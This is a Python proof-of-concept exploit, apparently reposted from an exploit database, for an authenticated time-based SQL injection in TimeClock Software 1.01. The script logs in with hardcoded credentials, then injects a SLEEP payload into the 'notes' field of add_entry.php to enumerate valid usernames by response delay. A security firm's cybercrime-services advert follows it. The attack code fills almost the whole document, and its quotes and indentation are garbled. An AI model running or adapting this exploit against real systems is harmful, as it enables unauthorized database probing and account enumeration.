#!/usr/bin/python3

# Exploit Title: TimeClock Software 1.01 Authenticated Time-Based SQL Injection
# Date: July 21, 2020
# Exploit Author: François Bibeau
# Co Author: Tyler Butler, http://tbutler.org, https://twitter.com/tbutler0x90
# Vendor Homepage: http://timeclock-software.net/
# Software Link: http://timeclock-software.net/timeclock-download.php
# Version: 1.01
# Tested on: Ubuntu 18.04.3 (LTS) x64, mysql 5.7, php 7.2.1-apache

import time
import requests


login_url = ‘http://159.203.41.34/login_action.php’ # Ensure to change ip to match target
login_data = {‘username’:’fred’,’password’:’fred’,’submit’:’Log In’}
headers = {‘User-Agent’: ‘Mozilla/5.0’}

# init session & login
session = requests.Session()
session.post(login_url,headers=headers,data=login_data)

# static list provided for PoC, could use a text file
users = [‘john’,’bill’,’tim’,’fred’,’garry’,’sid’,’admin’]

for user in users:
url = “http://159.203.41.34/add_entry.php”
payload = f”‘ OR IF((SELECT username FROM user_info WHERE username='{user}’)='{user}’, SLEEP(5), NULL)='”

data = {‘data_month’: ‘1’,
‘data_day’: ‘1’,
‘data_year’: ‘1’,
‘type_id’: ‘5’,
‘hours’: ‘1’,
‘notes’: payload,
‘submit’: ‘Add’}

print(f’Checking user {user}… ‘, end = ”)

start = time.time()
response = session.post(url,data=data)
end = time.time()

delay = end – start

if delay > 5:
print(‘User found!’)
else:
print(”)





Source link

Is your business effected by Cyber Crime?

If a cyber crime or cyber attack happens to you, you need to respond quickly. Cyber crime in its several formats such as online identity theft, financial fraud, stalking, bullying, hacking, e-mail fraud, email spoofing, invoice fraud, email scams, banking scam, CEO fraud. Cyber fraud can lead to major disruption and financial disasters. Contact Digitpol’s hotlines or respond to us online.

Digitpol’s Cyber Crime Investigation Unit provides investigative support to victims of cyber crimes. Digitpol is available 24/7. https://digitpol.com/cybercrime-investigation/

Europe +31558448040
UK +44 20 8089 9944
ASIA +85239733884